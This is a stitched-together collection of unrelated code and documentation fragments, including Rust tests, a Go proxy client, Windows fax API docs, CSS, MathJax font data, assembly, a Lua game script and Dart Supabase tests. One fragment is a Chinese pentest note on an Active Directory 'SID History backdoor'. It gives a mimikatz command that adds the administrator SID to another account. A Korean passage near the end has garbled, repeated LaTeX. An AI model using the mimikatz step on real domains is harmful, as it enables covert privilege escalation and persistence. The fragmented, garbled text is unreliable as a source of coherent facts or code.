 (0, &0)));
    assert_eq!(iter.next().unwrap(), (key2, (3, &2)));
    assert_eq!(iter.next().unwrap(), (key4, (6, &4)));
    assert!(iter.next().is_none());
    let mut iter = (&mut u32s)
        .iter()
        .enumerate()
        .filter(|(_, x)| **x % 2 != 0)
        .map(|(i, x)| (i * 3, x))
        .with_id();

    assert_eq!(iter.next().unwrap(), (key1, (9, &mut 1)));
    assert!(iter.next().is_none());

    let mut iter = i16s
        .iter()
        .enumerate()
        .filter(|(_, x)| **x % 2 == 0)
        .map(|(i, x)| (i * 3, x))
        .with_id();

    assert_eq!(iter.next().unwrap(), (key0, (0, &10)));
    assert_eq!(iter.next().unwrap(), (key2, (3, &12)));
    assert_eq!(iter.next().unwrap(), (key4, (9, &14)));
    assert!(iter.next().is_none());
    let mut iter = (&mut i16s)
        .iter()
        .enumerate()
        .filter(|(_, x)| **x % 2 != 0)
        .map(|(i, x)| (i * 3, x))
        .with_id();

    assert_eq!(iter.next().unwrap(), (key3, (6, &mut 13)));
    assert!(iter.next().is_none());

    let mut iter = (&u32s, &i16s)
        .iter()
        .enumerate()
        .filter(|&(i, _)| i % 2 == 0)
        .map(|(i, x)| (i * 3, x))
        .with_id();

    assert_eq!(iter.next().unwrap(), (key0, (0, (&0, &10))));
    assert_eq!(iter.next().unwrap(), (key4, (6, (&4, &14))));
    assert!(iter.next().is_none());
    let mut iter = (&mut i16s, &mut u32s)
        .iter()
        .enumerate()
        .filter(|&(i, _)| i % 2 != 0)
        .map(|(i, x)| (i * 3, x))
        .with_id();

    assert_eq!(iter.next().unwrap(), (key2, (3, (&mut 12, &mut 2))));
    assert!(iter.next().is_none());
}

#[test]
fn off_by_one() {
    let world = World::new();
    let (mut entities, mut u32s, mut i16s) = world.borrow::<(EntitiesMut, &mut u32, &mut i16)>();

    (&mut u32s, &mut i16s).loose_pack();
    entities.add_entity((&mut u32s, &mut i16s), (0, 10));
    entities.add_entity(&mut u32s, 1);
    entities.add_entity((&mut u32s, &mut i16s), (2, 12));
    entities.add_entity(&mut i16s, 13);
    entities.add_entity((&mut u32s, &mut i16s), (4, 14));

    let u32_window = u32s.as_window(1..);
    let iter = (&u32_window, &i16s).iter();
    assert_eq!(iter.size_hint(), (0, Some(3)));
    assert_eq!(iter.collect::<Vec<_>>(), vec![(&2, &12), (&4, &14)]);

    let u32_window = u32_window.as_window(1..);
    let iter = (&u32_window, &i16s).iter();
    assert_eq!(iter.size_hint(), (0, Some(2)));
    assert_eq!(iter.collect::<Vec<_>>(), vec![(&4, &14)]);

    let i16_window = i16s.as_window(1..);
    let iter = (&u32s, &i16_window).iter();
    assert_eq!(iter.size_hint()


/exception"
	log "github.com/Lafeng/deblocus/glog"
)

const (
	DT_PING_INTERVAL = 110
	RETRY_INTERVAL   = time.Second * 5
	REST_INTERVAL    = RETRY_INTERVAL
)

const (
	CLT_CLOSED  int32 = -1
	CLT_WORKING int32 = 0
	CLT_PENDING int32 = 1
)

var (
	ERR_REQ_TK_TIMEOUT = ex.New("Request token timeout")
	ERR_REQ_TK_ABORTED = ex.New("Requst token aborted")
)

type Client struct {
	mux       *multiplexer
	token     []byte
	params    *tunParams
	connInfo  *connectionInfo
	lock      sync.Locker
	dtCnt     int32
	reqCnt    int32
	state     int32
	round     int32
	pendingTK *timedWait
}

func NewClient(cman *ConfigMan) *Client {
	clt := &Client{
		lock:      new(sync.Mutex),
		connInfo:  cman.cConf.connInfo,
		state:     CLT_WORKING,
		pendingTK: NewTimedWait(false), // waiting tokens
	}
	return clt
}

func (c *Client) initialConnect() (tun *Conn) {
	var theParam = new(tunParams)
	var man = &d5cman{connectionInfo: c.connInfo}
	var err error
	tun, err = man.Connect(theParam)
	if err != nil {
		log.Errorf("Failed to connect to %s %s Retry after %s",
			c.connInfo.RemoteName(), ex.Detail(err), RETRY_INTERVAL)
		return nil
	} else {
		log.Infof("Login to server %s with %s successfully",
			c.connInfo.RemoteName(), c.connInfo.user)
		c.params = theParam
		c.token = theParam.token
		return
	}
}

func (c *Client) restart() (tun *Conn, rn int32) {
	// discard requests are waiting for tokens
	c.pendingTK.clearAll()
	// release mux
	if c.mux != nil {
		// spin wait for all mux.Listen() goroutines exits
		for atomic.LoadInt32(&c.dtCnt) > 0 {
			time.Sleep(time.Second)
		}
		c.mux.destroy()
	}
	c.mux = newClientMultiplexer()
	// try negotiating connection infinitely until success
	for i := 0; tun == nil; i++ {
		if i > 0 {
			time.Sleep(RETRY_INTERVAL)
		}
		tun = c.initialConnect()
	}
	atomic.StoreInt32(&c.state, CLT_WORKING)
	rn = atomic.AddInt32(&c.round, 1)
	// start n-1 data tun
	for j := c.params.parallels; j > 1; j-- {
		go c.StartTun(false)
	}
	return
}

func (c *Client) StartTun(mustRestart bool) {
	var (
		tun  *Conn
		wait bool
		rn   = atomic.LoadInt32(&c.round)
	)
	for {
		if wait {
			time.Sleep(RETRY_INTERVAL)
		}
		if rn < atomic.LoadInt32(&c.round) {
			return
		}
		if mustRestart {
			// clear mustRestart
			mustRestart = false
			tun, rn = c.restart()
		}
		if atomic.LoadInt32(&c.state) == CLT_WORKING {
			var dtcnt int32
			var err error

			// not restarting, ordinary data tun
			if tun == nil {
				tun, err = c.createDataTun()
				if err != nil {
					log.Errorf("Connection failed %s Reconnect after %s",
						ex.Detail(err), RETRY_INTERVAL)
					wait = true


.put_Retries
---

# IFaxConfiguration::put_Retries

## -description

Sets or retrieves a value that indicates the number of redial attempts for a given fax job.

This property is read/write.

## -parameters

## -see-also

IFaxConfiguration
---
UID: NN:faxcomex.IFaxInboundRoutingMethods
title: IFaxInboundRoutingMethods (faxcomex.h)
description: The IFaxInboundRoutingMethods interface defines a configuration collection used by a fax client application to manage the ordered inbound fax routing methods.
helpviewer_keywords: ["IFaxInboundRoutingMethods","IFaxInboundRoutingMethods interface [Fax Service]","IFaxInboundRoutingMethods interface [Fax Service]","described","_mfax_faxinboundroutingmethods_cpp","fax._mfax_faxinboundroutingmethods_cpp","faxcomex/IFaxInboundRoutingMethods"]
old-location: fax\_mfax_faxinboundroutingmethods_cpp.htm
tech.root: Fax
ms.assetid: VS|fax|~\fax\faxinta_n_6bn7_cpp.htm
ms.date: 12/05/2018
ms.keywords: IFaxInboundRoutingMethods, IFaxInboundRoutingMethods interface [Fax Service], IFaxInboundRoutingMethods interface [Fax Service],described, _mfax_faxinboundroutingmethods_cpp, fax._mfax_faxinboundroutingmethods_cpp, faxcomex/IFaxInboundRoutingMethods
req.header: faxcomex.h
req.include-header:
req.target-type: Windows
req.target-min-winverclnt: Windows XP [desktop apps only]
req.target-min-winversvr: Windows Server 2003 [desktop apps only]
req.kmdf-ver:
req.umdf-ver:
req.ddi-compliance:
req.unicode-ansi:
req.idl:
req.max-support:
req.namespace:
req.assembly:
req.type-library:
req.lib:
req.dll: Fxscomex.dll
req.irql:
targetos: Windows
req.typenames:
req.redist:
ms.custom: 19H1
f1_keywords:
 - IFaxInboundRoutingMethods
 - faxcomex/IFaxInboundRoutingMethods
dev_langs:
 - c++
topic_type:
 - APIRef
 - kbSyntax
api_type:
 - COM
api_location:
 - Fxscomex.dll
api_name:
 - IFaxInboundRoutingMethods
---

# IFaxInboundRoutingMethods interface

## -description

The IFaxInboundRoutingMethods interface defines a configuration collection used by a fax client application to manage the ordered inbound fax routing methods.

## -inheritance

The IFaxInboundRoutingMethods interface inherits from the IDispatch interface. IFaxInboundRoutingMethods also has these types of members:

## -remarks

Each inbound routing method is represented by a IFaxInboundRoutingMethod interface. The order of the routing methods in the collection determines the relative order in which the methods execute when an inbound fax requires routing.

A default implementation of IFaxInboundRoutingMethods is provided as the FaxInboundRoutingMethods object.
---
UID: NF:faxcomex.IFaxConfiguration.get_UseDeviceTSID
title: IFaxConfiguration::get_UseDeviceTSID (faxcomex.h)
description: Sets or retrieves a value that indi


.M12, (float)m.M13, (float)m.M14,
        (float)m.M21, (float)m.M22, (float)m.M23, (float)m.M24,
        (float)m.M31, (float)m.M32, (float)m.M33, (float)m.M34,
        (float)m.M41, (float)m.M42, (float)m.M43, (float)m.M44
       );

    /// <summary>
    /// 拡張メソッド.
    /// </summary>
    /// <param name="v"></param>
    /// <returns></returns>
    public static Matrix3D ToMatrix3D(in this M4d m) => new(
        m.M11, m.M21, m.M31,
        m.M12, m.M22, m.M32,
        m.M13, m.M23, m.M33
       );

    #endregion M4dに関する拡張メソッド

    #region M3dに関する拡張メソッド

    /// <summary>
    /// 拡張メソッド.
    /// </summary>
    /// <param name="v"></param>
    /// <returns></returns>
    public static M3f ToM3f(in this M3d m) => new(
        (float)m.M11, (float)m.M12, (float)m.M13,
        (float)m.M21, (float)m.M22, (float)m.M23,
        (float)m.M31, (float)m.M32, (float)m.M33
       );

    /// <summary>
    /// 拡張メソッド.
    /// </summary>
    /// <param name="v"></param>
    /// <returns></returns>
    public static Matrix3D ToMatrix3D(in this M3d m) => new(
        m.M11, m.M21, m.M


hidden .right-ui-bg{display:none !important}.mobile-button-select{position:absolute;cursor:pointer;width:30px;height:30px;font-size:0;-moz-appearance:none;-webkit-appearance:none;border:none;background:none;background-position:center !important;background-repeat:no-repeat !important;background-size:15px 15px !important}#disable-overlay{width:100%;height:100%;z-index:9999;display:none !important}.mobile-disabled-orientation-overlay-inner{position:absolute;top:50%;left:0;-webkit-transform:translate(0, -50%);-moz-transform:translate(0, -50%);-ms-transform:translate(0, -50%);-o-transform:translate(0, -50%);transform:translate(0, -50%);width:100%;text-align:center}.mobile-disabled-orientation-overlay-icon{display:inline-block;width:161px;padding-bottom:1em;pointer-events:none}body.show-disabled-overlay .mobile-start-overlay{display:none}body.show-disabled-overlay #disable-overlay{display:block !important}.view-phone.ff-on.is-landscape #settings .panel-down-arrow{position:absolute !important;left:100% !important;top:50% !important;margin-left:-8px !important;margin-top:-9px !important}/*# sourceMappingURL=mobile.min.css.map */
/*

Tera Slider CSS
Version 2.4
Made by Themanoid

*/
.slider {
  width: 100%;
  height: 100%;
  overflow: hidden;
  position: relative;
  display: block;
  background: #403E3B;
  z-index: 1; }
  .slider * {
    -webkit-transform: translateZ(0); }
  .slider ul.slides {
    position: relative;
    display: inline-block;
    list-style: none;
    padding: 0;
    margin: 0;
    height: 100%;
    -webkit-transition: margin 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005);
    -moz-transition: margin 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005);
    -o-transition: margin 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005);
    transition: margin 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005); }
    .slider ul.slides li.slide {
      position: relative;
      float: left;
      margin: 0;
      height: 100%;
      background: #fff !important;
      -webkit-transform: scale(0.9, 0.9);
      -moz-transform: scale(0.9, 0.9);
      transform: scale(0.9, 0.9);
      -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=$ms)";
      filter: alpha(opacity=0);
      -moz-opacity: 0;
      -khtml-opacity: 0;
      opacity: 0;
      -webkit-transition: all 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005);
      -moz-transition: all 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005);
      -o-transition: all 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005);
      transition: all 1.1s cubic-bezier(0.35, 0.085, 0.305, 1.005); }
      .slider ul.slides li.slide h1, .slider ul.slides li.slide h2, .slider ul.slides li.slide h3, .slider ul.slides li.slide h4, .slider ul.slides li.slide h5, .slider ul.slides li.slide h6, .slider ul.slides li.slide p {


],
    0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
      [2,8,2],[3,10,3],[3,11,3],[4,12,3],[4,15,4],[5,18,5],[6,20,5],[7,24,6],
      [8,28,7],[10,34,9],[11,40,10],[13,47,12],[16,56,14],[19,67,17]
    ],
    0x27EE: [  // MATHEMATICAL LEFT FLATTENED PARENTHESIS
      [3,8,2],[3,9,2],[4,11,3],[5,12,3],[5,15,4],[6,17,4],[8,20,5],[9,24,6],
      [10,28,7],[12,33,8],[14,40,10],[17,47,12],[20,56,14],[24,65,16]
    ],
    0x27EF: [  // MATHEMATICAL RIGHT FLATTENED PARENTHESIS
      [2,8,2],[2,9,2],[3,11,3],[3,12,3],[4,15,4],[4,17,4],[5,20,5],[6,24,6],
      [7,28,7],[8,33,8],[10,40,10],[12,46,11],[14,55,13],[16,65,16]
    ]
  }
});

MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/MiscMathSymbolsA.js");
/*************************************************************
 *
 *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/LatinExtendedB.js
 *
 *  Defines the image size data needed for the HTML-CSS OutputJax
 *  to display mathematics using fallback images when the fonts
 *  are not available to the client browser.
 *
 *  ---------------------------------------------------------------------
 *
 *  Copyright (c) 2009-2013 The MathJax Consortium
 *
 *  Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 *  You may obtain a copy of the
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 *
 */

MathJax.OutputJax["HTML-CSS"].defineImageData({
  "MathJax_Main": {
    0x237: [  // LATIN SMALL LETTER DOTLESS J
      [3,4,1],[3,6,2],[4,7,2],[4,7,2],[5,9,3],[5,12,4],[7,13,4],[8,16,5],
      [9,19,6],[10,22,7],[12,26,8],[14,30,9],[17,36,11],[19,44,13]
    ]
  }
});

MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Regular"+
                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/LatinExtendedB.js");
/*************************************************************
 *
 *  MathJax/fonts/HTML-CSS/TeX/png/Main/Regular/CombDiactForSymbols.js
 *
 *  Defines the image size data needed for the HTML-CSS OutputJax
 *  to display mathematics using fallback images when the fonts


2 class="anchor anchorWithStickyNavbar_LWe7" id="sid-history后门">SID History后门

sid history：当我们把域A的用户x迁移到域B时，B域中x的sid会发生改变，随即而来的是权限也会发生改变。所以为了避免这种权限改变，sid history诞生了， 系统会将其原来的SID添加到迁移后用户的SID  History属性中，使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

在DC中还是使用mimikatz：

# 将administrator的SID添加到d4m1ts的sid history属性
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:d4m1ts /new:administrator" "exit"

可以查看d4m1ts用户的SID History属性，500就表示管理权限。

Import-Module ActiveDirectory
Get-ADUser d4m1ts -Properties sidhistory<br


Long(i64),
    Float(u32),
    Double(u64)
}

impl MilOperand {
    pub fn get_type(&self) -> MilType {
        match *self {
            MilOperand::Register(ty, _) => ty,
            MilOperand::Poison(ty) => ty,
            MilOperand::AddrNull => MilType::Addr,
            MilOperand::VTable(_) => MilType::Addr,
            MilOperand::RefNull => MilType::Ref,
            MilOperand::KnownObject(_, _) => MilType::Ref,
            MilOperand::Bool(_) => MilType::Bool,
            MilOperand::Int(_) => MilType::Int,
            MilOperand::Long(_) => MilType::Long,
            MilOperand::Float(_) => MilType::Float,
            MilOperand::Double(_) => MilType::Double
        }
    }

    pub fn is_const(&self) -> bool {
        self.as_reg().is_none()
    }

    pub fn from_const<'a>(val: Value<'a>, known_objects: &MilKnownObjectMap<'a>) -> MilOperand {
        match val {
            Value::Int(val) => MilOperand::Int(val),
            Value::Long(val) => MilOperand::Long(val),
            Value::Float(val) => MilOperand::Float(val),
            Value::Double(val) => MilOperand::Double(val),
            Value::Ref(None) => MilOperand::RefNull,
            Value::Ref(Some(val)) => {
                let class_id = val.class_id();
                MilOperand::KnownObject(known_objects.id_of(&val), class_id)
            },
            _ => unreachable!()
        }
    }

    pub fn as_reg(&self) -> Option<MilRegister> {
        match *self {
            MilOperand::Register(_, reg) => Some(reg),
            _ => None
        }
    }

    pub fn pretty<'a>(&'a self, env: &'a ClassEnvironment) -> impl fmt::Display + 'a {
        PrettyMilOperand(self, env)
    }
}

struct PrettyMilOperand<'a>(&'a MilOperand, &'a ClassEnvironment);

impl <'a> fmt::Display for PrettyMilOperand<'a> {
    fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
        match *self.0 {
            MilOperand::Register(ty, reg) => write!(f, "{}:{}", ty, reg),
            MilOperand::Poison(ty) => write!(f, "{}:poison", ty),
            MilOperand::AddrNull => write!(f, "addr:null"),
            MilOperand::VTable(cls) => write!(f, "addr:<vtable_{}>", self.1.get(cls).name(self.1)),
            MilOperand::RefNull => write!(f, "ref:null"),
            MilOperand::KnownObject(id, cls) => write!(f, "ref:<obj_{} {}>", id.0, self.1.get(cls).name(self.1)),
            MilOperand::Bool(val) => write!(f, "bool:{}", val),
            MilOperand::Int(val) => write!(f, "int:{}", val),
            MilOperand::Long(val) => write!(f, "long:{}", val),
            MilOperand::Float(val) => write!(f, "float:0x{:x}/{}", val, f32::from_bits(val)),
            MilOperand::Double(val) => write!(f, "double:0x{:x}/{}", val, f64::from_bits(val))
        }
    }
}
<filename>fuzz/fuzz_targets/utf8.rs
#![no_main]
#[macro_use]
extern crate libfuzzer_sys;
extern crate loe;

use std::io::Cursor;

use loe::{p


Duration(milliseconds: 10));
          final updateId4 = jsonEncode({
            'topic': topic,
            'ref': null,
            'event': 'postgres_changes',
            'payload': {
              'ids': [25993878],
              'data': {
                'columns': [
                  {'name': 'id', 'type': 'int4', 'type_modifier': 4294967295},
                  {'name': 'task', 'type': 'text', 'type_modifier': 4294967295},
                  {
                    'name': 'status',
                    'type': 'bool',
                    'type_modifier': 4294967295
                  },
                ],
                'commit_timestamp': '2021-08-01T08:00:30Z',
                'errors': null,
                'old_record': {'id': 4},
                'record': {'id': 4, 'task': 'task 4', 'status': 't'},
                'schema': 'public',
                'table': 'todos',
                'type': 'UPDATE',
                if (realtimeFilter != null) 'filter': realtimeFilter,
              },
            },
          });
          webSocket!.add(updateId4);

          // Send delete event for id=5
          /// Should be ignored by the SDK
          await Future.delayed(Duration(milliseconds: 10));
          final ignoredDeleteString = jsonEncode({
            'ref': null,
            'topic': topic,
            'event': 'postgres_changes',
            'payload': {
              'data': {
                'columns': [
                  {'name': 'id', 'type': 'int4', 'type_modifier': 4294967295},
                  {'name': 'task', 'type': 'text', 'type_modifier': 4294967295},
                  {
                    'name': 'status',
                    'type': 'bool',
                    'type_modifier': 4294967295
                  },
                ],
                'commit_timestamp': '2022-09-14T02:12:52Z',
                'errors': null,
                'old_record': {'id': 5},
                'schema': 'public',
                'table': 'todos',
                'type': 'DELETE',
                if (realtimeFilter != null) 'filter': realtimeFilter,
              },
              'ids': [48673474]
            },
          });
          webSocket!.add(ignoredDeleteString);
        });
      } else {
        request.response
          ..statusCode = HttpStatus.ok
          ..close();
      }
    }
  }

  setUp(() async {
    apiKey = 'supabaseKey';
    mockServer = await HttpServer.bind('localhost', 0);
    client = SupabaseClient(
      'http://${mockServer.address.host}:${mockServer.port}',
      apiKey,
      headers: {
        'X-Client-Info': 'supabase-flutter/0.0.0',
      },
    );
    customHeadersClient = SupabaseClient(
      'http://${mockServer.address.host}:${mockServer.port}',
      apiKey,
      headers: {'X-Client-Info': 'supabase-flutter/0.0.0', ...customHeaders},
    );
    hasListener = false;
  });

  tearDown(() async {
    listeners.clear();

    await client.dispose();
    await customHeadersClient.dispose();

    //Manually disconnect the socket channel to avoid automatic retrying to reconnect. This caused failing in later executed tests.
    client.realtime.disconnect();
    customHeadersClient.realtime.disconnect();

    // Wait for the realtime updates to come through
    await Future.delayed(Duration(milliseconds: 100));

    await webSocket?.close();

    await listener?.cancel();

    await mockServer.close();
  });

  group('basic test', () {
    setUp(() async {
      handleRequests(mockServer);
    });

    test('test mock server', () async {
      final data = await client.from('todos').s


(%rsi), %rax
        leaq    (%r16,%r8,8), %r10
        xorl    %r11d, %r11d
        jmp     .LBB6_3
.LBB6_9:                                #   in Loop: Header=BB6_3 Depth=1
        vmovsd  %xmm0, (%rdi,%r11,8)
        addq    $1, %r11
        addq    %r10, %rax
        addq    %r10, %rsi
        cmpq    %rcx, %r11
        je      .LBB6_10
.LBB6_3:                                # =>This Loop Header: Depth=1
        vmovq   (%rdi,%r11,8), %xmm0            # xmm0 = mem[0],zero
        cmpq    $16, %r8
        jae     .LBB6_5
        xorl    %ebx, %ebx
        jmp     .LBB6_8
.LBB6_5:                                #   in Loop: Header=BB6_3 Depth=1
        vmovq   %xmm0, %xmm0                    # xmm0 = xmm0[0],zero
        vxorpd  %xmm1, %xmm1, %xmm1
        xorl    %ebx, %ebx
        vxorpd  %xmm2, %xmm2, %xmm2
        vxorpd  %xmm3, %xmm3, %xmm3
.LBB6_6:                                #   Parent Loop BB6_3 Depth=1
        vmovupd (%rdx,%rbx,8), %ymm4
        vmovupd 32(%rdx,%rbx,8), %ymm5
        vmovupd 64(%rdx,%rbx,8), %ymm6
        vmovupd 96(%rdx,%rbx,8), %ymm7
        vfmadd231pd     -96(%rax,%rbx,8), %ymm4, %ymm0 # ymm0 = (ymm4 * mem) + ymm0
        vfmadd231pd     -64(%rax,%rbx,8), %ymm5, %ymm1 # ymm1 = (ymm5 * mem) + ymm1
        vfmadd231pd     -32(%rax,%rbx,8), %ymm6, %ymm2 # ymm2 = (ymm6 * mem) + ymm2
        vfmadd231pd     (%rax,%rbx,8), %ymm7, %ymm3 # ymm3 = (ymm7 * mem) + ymm3
        addq    $16, %rbx
        cmpq    %rbx, %r9
        jne     .LBB6_6
        vaddpd  %ymm0, %ymm1, %ymm0
        vaddpd  %ymm0, %ymm2, %ymm0
        vaddpd  %ymm0, %ymm3, %ymm0
        vextractf128    $1, %ymm0, %xmm1
        vaddpd  %xmm1, %xmm0, %xmm0
        vpermilpd       $1, %xmm0, %xmm1        # xmm1 = xmm0[1,0]
        vaddsd  %xmm1, %xmm0, %xmm0
        movq    %r9, %rbx
        cmpq    %r8, %r9
        je      .LBB6_9
.LBB6_8:                                #   Parent Loop BB6_3 Depth=1
        vmovsd  (%rdx,%rbx,8), %xmm1            # xmm1 = mem[0],zero
        vfmadd231sd     (%rsi,%rbx,8), %xmm1, %xmm0 # xmm0 = (xmm1 * mem) + xmm0
        addq    $1, %rbx
        cmpq    %rbx, %r8
        jne     .LBB6_8
        jmp     .LBB6_9
.LBB6_10:
        popq    %rbx
        vzeroupper
        retq
MatMulVec_


ut'])
            SetArtificialLightsStateAffectsVehicles(false)
        end
        Config.SyncData = ConfigData
    end
end)

RegisterNetEvent('mercy-weathersync/client/set-default-weather', function(Hour)
    Citizen.SetTimeout(500, function()
        SetRainFxIntensity(0.0)
        NetworkOverrideClockTime(Hour, 0, 0)
        SetWeatherTypePersist('EXTRASUNNY')
        SetWeatherTypeNow('EXTRASUNNY')
        SetWeatherTypeNowPersist('EXTRASUNNY')
        DefaultTime = Hour
    end)
end)

-- [ Functions ] --

function SetupSyncing()
    Config.SyncData = GetWeatherConfig()
    Citizen.SetTimeout(500, function()
        SetClientSync(true)
    end)
end

function GetWeatherConfig()
    local Config = CallbackModule.SendCallback("mercy-weathersync/server/get-data")
    return Config
end

function GetCurrentTime()
    return Config.SyncData['Hour'], Config.SyncData['Minutes']
end
exports("GetCurrentTime", GetCurrentTime)

function BlackoutActive()
    return Config.SyncData['Blackout']
end
exports("BlackoutActive", BlackoutActive)

function SetClientSync(Bool)
    CanSync = Bool
    if not CanSync then
        SetRainFxIntensity(0.0)
        NetworkOverrideClockTime(23, 0, 0)
        SetWeatherTypePersist('EXTRASUNNY')
        SetWeatherTypeNow('EXTRASUNNY')
        SetWeatherTypeNowPersist('EXTRASUNNY')
        SetForceVehicleTrails(false)
        SetForcePedFootstepsTracks(false)
    else
        DefaultTime = nil
        SetRainFxIntensity(-1.0)
        NetworkOverrideClockTime(Config.SyncData['Hour'], Config.SyncData['Minutes'], 0)
        SetWeatherTypePersist(Config.SyncData['Weather'])
        SetWeatherTypeNow(Config.SyncData['Weather'])
        SetWeatherTypeNowPersist(Config.SyncData['Weather'])
        if Config.SyncData['Weather'] == 'XMAS' then
            SetForceVehicleTrails(true)
            SetForcePedFootstepsTracks(true)
        else
            SetForceVehicleTrails(false)
            SetForcePedFootstepsTracks(false)
        end
        if Config.SyncData['Blackout'] then
            SetArtificialLightsState(true)
        else
            SetArtificialLightsState(false)
        end
    end
end
exports("SetClientSync", SetClientSync)


("images/preciseSliderThumbFocus.gif");}.nihilo .dijitSliderLeftBumper {border-left-width: 1px; border-color: #aab0bb; background: #c0c2c5 url("images/sliderFull.png") repeat-x top left;}.nihilo .dijitSliderRightBumper {background: #dcdcdc url("images/sliderEmpty.png") repeat-x top left; border-color: #b4b4b4; border-right-width: 1px;}.nihilo .dijitSliderImageHandleV {border:0; width:20px; height:15px; background:url("images/sliderThumb.png") no-repeat center center; #background:url("images/sliderThumb.gif") no-repeat center center;}.nihilo .dijitSliderFocused .dijitSliderImageHandleV {background-image:url("images/sliderThumbFocus.png"); #background-image:url("images/sliderThumbFocus.gif");}.nihilo .dijitSliderBottomBumper {border-bottom-width: 1px; border-color: #aab0bb; background: #c0c2c5 url("images/sliderFullVertical.png") repeat-y bottom left;}.nihilo .dijitSliderTopBumper {background: #dcdcdc url("images/sliderEmptyVertical.png") repeat-y top left; border-color: #b4b4b4; border-top-width: 1px;}.nihilo .dijitSliderIncrementIconH,.nihilo .dijitSliderIncrementIconV {background:url("images/spriteRoundedIconsSmall.png") no-repeat -45px top; #background:url("images/spriteRoundedIconsSmall.gif") no-repeat -45px top; width:15px; height:15px;}.nihilo .dijitSliderIncrementIconH {background:url("images/spriteRoundedIconsSmall.png") no-repeat -30px top; #background:url("images/spriteRoundedIconsSmall.gif") no-repeat -30px top;}.nihilo .dijitSliderDecrementIconH,.nihilo .dijitSliderDecrementIconV {width:15px; height:15px; background:url("images/spriteRoundedIconsSmall.png") no-repeat -15px top; #background:url("images/spriteRoundedIconsSmall.gif") no-repeat -15px top;}.nihilo .dijitSliderDecrementIconH {background:url("images/spriteRoundedIconsSmall.png") no-repeat 0 top; #background:url("images/spriteRoundedIconsSmall.gif") no-repeat 0 top;}.nihilo .dijitSliderButtonInner {visibility:hidden;}.nihilo .dijitSliderReadOnly *,.nihilo .dijitSliderDisabled * {border-color: #d5d5d5 #bdbdbd #bdbdbd #d5d5d5; color: #bdbdbd;}.nihilo .dijitSliderReadOnly .dijitSliderDecrementIconH,.nihilo .dijitSliderDisabled .dijitSliderDecrementIconH {background-position: 0 -15px;}.nihilo .dijitSliderReadOnly .dijitSliderIncrementIconH,.nihilo .dijitSliderDisabled .dijitSliderIncrementIconH {background-position: -30px -15px;}.nihilo .dijitSliderReadOnly .dijitSliderDecrementIconV,.nihilo .dijitSliderDisabled .dijitSliderDecrementIconV {background-position: -15px -15px;}.nihilo .dijitSliderReadOnly .dijitSliderIncrementIconV,.nihilo .dijitSliderDisabled .dijitSliderIncrementIconV {background-position: -45px -15px;}.nihilo .dijitSelectError .dijitButtonContents,.nihilo .dijitSelectHover .dijitArrowButton,.nihilo .dijitSelectActive .dijitArrowButton,.nihilo .dijitSelectOpened .dijitArrowButton,.nihilo .dijitSelectDisab


content wrap" id="_content" data-uid="AuthEndpoints.Services.DefaultMessageFactory">

Class DefaultMessageFactory

Use this class to create MimeMessage for email verification request and for reset password request.

Inheritance

System.Object

DefaultMessageFactory

Implements

IEmailFactory

Inherited Members

      System.Object.Equals(System.Object)

      System.Object.Equals(System.Object, System.Object)

      System.Object.GetHashCode()

      System.Object.GetType()

      System.Object.MemberwiseClone()

      System.Object.ReferenceEquals(System.Object, System.Object)

      System.Object.ToString()

Namespace: AuthEndpoints.Services

Assembly: AuthEndpoints.Core.dll

Syntax

public class DefaultMessageFactory : IEmailFactory

Constructors

    |
    <a href="https://github.com/nano-devs/AuthEndpoints/new/development-1.6/apiSpec/new?filename=AuthEndpoints_Services_DefaultMessageFactory__ctor_Microsoft_Extensions_Options_IOptions_AuthEndpoints_AuthEndpointsOptions__.md&value=---%0Auid%3A%20AuthEndpoints.Services.DefaultMessageFactory.%23ctor(Microsoft.Extensions.Options.IOptions%7BAuthEndpoints.AuthEndpointsOptions%7D)%0Asummary%3A%20'*You%20can%20override%20summary%20for%20the%20API%20here%20using%20*MARKDOWN*%20syntax'%0A---%0A%0A*Please%20type%20below%20more%20information%20about%20this%20API%3A*%0A%0A">Improve this Doc

    View Source

  <a id="AuthEndpoints_Services_DefaultMessageFactory__ctor_" data-uid="AuthEndpoints.Services.DefaultMessageFacto


      '노이즈화 과정이 주어지면, 시간\\(t\\)에서 시간\\(s\\)까지 단일 데이터포인트\\(\\mathbf{x}\\)에 대한 _true_(즉, 최적) 노이즈화 분포가 주어짐을 알 수 있다(Sohl-Dickstein et al., 2015).\n' +
      '\n' +
      '\\mathbf{z}_{s}|\\mathbf{z}_{t},\\mathbf{x})=\\mathcal{N}(\\mathbf{z}_{s}|\\mu_{t\\to s}(\\mathbf{z}_{t},\\mathbf{x}),\\sigma_{t\\to s}^{2}\\mathbf{I}\\, \\tag{3}\\t}\\t},\\mathbf{n}(\\mathbf{z}_{s}|\\mu_{t},\\mathbf{x})\\mathcal{N}(\\mathbf{z}_{s}|\\mu_{t},\\mathbf{x}),\\sigma_{t\\to s}^{2}\\mathbf{I}\\,\\tag{3}\\t}\n' +
      '\n' +
